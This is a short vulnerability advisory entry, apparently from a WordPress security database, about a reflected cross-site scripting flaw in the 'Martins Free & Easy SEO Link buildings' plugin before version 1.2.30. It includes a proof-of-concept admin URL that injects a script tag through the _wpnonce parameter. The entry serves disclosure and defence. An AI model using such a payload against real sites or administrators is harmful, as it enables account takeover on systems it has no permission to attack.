Martins Free & Easy SEO Link buildings < 1.2.30 - Reflected XSS

2023-11-0600:00:00

Claudio Marchesini, Enrico Marcolini

xss

reflected

seo

link buildings

logged in admin

exploit

deactivate plugin

security vulnerability

0.0005 Low

EPSS

Percentile

17.1%

JSON

Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in amin open
https://example.com/wp-admin/plugins.php?action=deactivate&plugin=martins-link-network%2FmartinsLinkNetwork.php&plugin_status=all&paged=1&s&_wpnonce=%27%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E%3Ca%20href=%27

0.0005 Low

EPSS

Percentile

17.1%

JSON

Related for WPEX-ID:C0A6C253-71F2-415D-A6EC-022F2EAFC13B